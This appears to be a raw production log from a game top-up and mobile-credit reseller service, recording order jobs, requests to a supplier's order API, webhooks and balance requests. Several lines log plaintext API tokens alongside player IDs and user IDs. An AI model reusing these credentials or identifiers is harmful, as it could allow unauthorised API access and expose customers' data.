[2026-03-24 11:58:42] production.INFO: Operation sent successfully {"operation_id":163518,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cpA4-1774342721","amount":3.787594999999999600959199597127735614776611328125,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 11:58:42"}},"processed_data":{"order_number":"ORD-cpA4-1774342721","amount":3.787594999999999600959199597127735614776611328125,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 12:00:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03"} 
[2026-03-24 12:00:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","total_operations":3,"sites_count":1} 
[2026-03-24 12:00:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094","ORD-cpA4-1774342721"]} 
[2026-03-24 12:00:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:00:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 12:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-cpA4-1774342721","operation_id":163518} 
[2026-03-24 12:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:00:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 12:00:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 12:00:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Hz1sbsRngiv7ror2BYsG7YZcLL62vIP2","execution_time":"2026-03-24 12:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 12:00:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 12:00:05] production.INFO: async() رجع: true  
[2026-03-24 12:00:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:00:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:00:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:00:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:00:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:00:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:00:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:00:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:00:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:00:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:00:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:00:57] production.INFO: Constructing job for order: 178590  
[2026-03-24 12:01:00] production.INFO: Handling job for order: 178590  
[2026-03-24 12:01:00] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:01:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:01:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=d0a75ca6-0c17-4165-a836-9fac855a6afb&Player_ID=0954137244  
[2026-03-24 12:01:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=d0a75ca6-0c17-4165-a836-9fac855a6afb&Player_ID=0954137244","has_body":false} 
[2026-03-24 12:01:01] production.INFO: Operation sent successfully {"operation_id":163519,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-he2H6-1774342861","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:01:01"}},"processed_data":{"order_number":"ORD-he2H6-1774342861","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:01:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cpA4-1774342721","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:01:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-cpA4-1774342721","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:01:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:01:11] production.INFO: SendAcceptReject: Notification queued {"user_id":771,"notification_type":"order_approved","reference_id":178589} 
[2026-03-24 12:01:11] production.INFO: Order updated successfully. Order ID: 178589, Status: completed  
[2026-03-24 12:01:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cpA4-1774342721","status":"completed","codes_count":0} 
[2026-03-24 12:01:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 12:02:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01"} 
[2026-03-24 12:02:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","total_operations":3,"sites_count":2} 
[2026-03-24 12:02:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 12:02:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:02:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 12:02:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:02:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:02:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 12:02:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 12:02:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-he2H6-1774342861"]} 
[2026-03-24 12:02:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 12:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 12:02:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 12:02:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"count":1} 
[2026-03-24 12:02:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"count":1} 
[2026-03-24 12:02:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"user_id":1690,"notification_type":"order_approved","reference_id":178590} 
[2026-03-24 12:02:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:02:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:02:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"processed":1,"errors":0} 
[2026-03-24 12:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519,"processed":1,"errors":0} 
[2026-03-24 12:02:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"5ing0BuLUExZ15KYzisikoKm3ygaPUJR","execution_time":"2026-03-24 12:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-he2H6-1774342861","operation_id":163519} 
[2026-03-24 12:02:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1690  
[2026-03-24 12:02:36] production.INFO: Constructing job for order: 178591  
[2026-03-24 12:02:38] production.INFO: Handling job for order: 178591  
[2026-03-24 12:02:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:02:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:02:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/615/params?qty=20000&uuid=7a7db1a5-c42a-47f5-86ab-58dba03b4d75&Player_ID=8185409  
[2026-03-24 12:02:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/615/params?qty=20000&uuid=7a7db1a5-c42a-47f5-86ab-58dba03b4d75&Player_ID=8185409","has_body":false} 
[2026-03-24 12:02:38] production.INFO: Operation sent successfully {"operation_id":163520,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-QTE1-1774342958","amount":2.115180000000000060111915445304475724697113037109375,"status":"processing","product":"Xena Amount","game":"Xena","notes":[],"created_at":"2026-03-24 12:02:38"}},"processed_data":{"order_number":"ORD-QTE1-1774342958","amount":2.115180000000000060111915445304475724697113037109375,"status":"processing","product":"Xena Amount","game":"Xena"}} 
[2026-03-24 12:02:50] production.INFO: Constructing job for order: 178592  
[2026-03-24 12:02:51] production.INFO: Handling job for order: 178592  
[2026-03-24 12:02:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:02:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:02:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=100000&uuid=309461a7-c7a7-4bdf-80e8-b4298b7fba86&Player_ID=3270271  
[2026-03-24 12:02:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=100000&uuid=309461a7-c7a7-4bdf-80e8-b4298b7fba86&Player_ID=3270271","has_body":false} 
[2026-03-24 12:02:51] production.INFO: Operation sent successfully {"operation_id":163521,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wVpVY-1774342971","amount":7.57518999999999920191839919425547122955322265625,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 12:02:51"}},"processed_data":{"order_number":"ORD-wVpVY-1774342971","amount":7.57518999999999920191839919425547122955322265625,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 12:04:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03"} 
[2026-03-24 12:04:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","total_operations":4,"sites_count":1} 
[2026-03-24 12:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094","ORD-QTE1-1774342958","ORD-wVpVY-1774342971"]} 
[2026-03-24 12:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:04:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 12:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521} 
[2026-03-24 12:04:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 12:04:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 12:04:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"count":1} 
[2026-03-24 12:04:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"count":1} 
[2026-03-24 12:04:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"user_id":442,"notification_type":"order_approved","reference_id":178591} 
[2026-03-24 12:04:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:04:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:04:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"processed":1,"errors":0} 
[2026-03-24 12:04:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521,"processed":1,"errors":0} 
[2026-03-24 12:04:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"g2pvRYGVS6LsQrgBlCWaKk3WmyVbYSLb","execution_time":"2026-03-24 12:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wVpVY-1774342971","operation_id":163521} 
[2026-03-24 12:04:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 442  
[2026-03-24 12:04:11] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"600.0","mainamount":"600","operation_number":"158090845","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpt1vmu2o8cqcf85Qq92C"}},"user_id":298} 
[2026-03-24 12:04:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 12:04:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 12:04:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 12:04:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 12:04:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 12:04:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 12:04:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 12:04:13] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 12:04:13] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18603,"user_id":298,"amount":600.0,"admins_notified":7} 
[2026-03-24 12:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 12:05:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 12:05:03] production.INFO: async() رجع: true  
[2026-03-24 12:05:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:05:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:05:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:05:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:05:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:05:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:05:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:05:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:05:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:05:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:05:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:05:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wVpVY-1774342971","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:05:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-wVpVY-1774342971","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:05:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:05:09] production.INFO: SendAcceptReject: Notification queued {"user_id":771,"notification_type":"order_approved","reference_id":178592} 
[2026-03-24 12:05:09] production.INFO: Order updated successfully. Order ID: 178592, Status: completed  
[2026-03-24 12:05:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wVpVY-1774342971","status":"completed","codes_count":0} 
[2026-03-24 12:05:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 12:06:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01"} 
[2026-03-24 12:06:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","total_operations":2,"sites_count":1} 
[2026-03-24 12:06:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 12:06:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:06:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 12:06:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:06:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:06:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 12:06:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 12:06:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"PwFVqI2C1PPpNP6cQfvUDC65HCf6pr1I","execution_time":"2026-03-24 12:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:07:18] production.INFO: Constructing job for order: 178593  
[2026-03-24 12:07:19] production.INFO: Handling job for order: 178593  
[2026-03-24 12:07:19] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
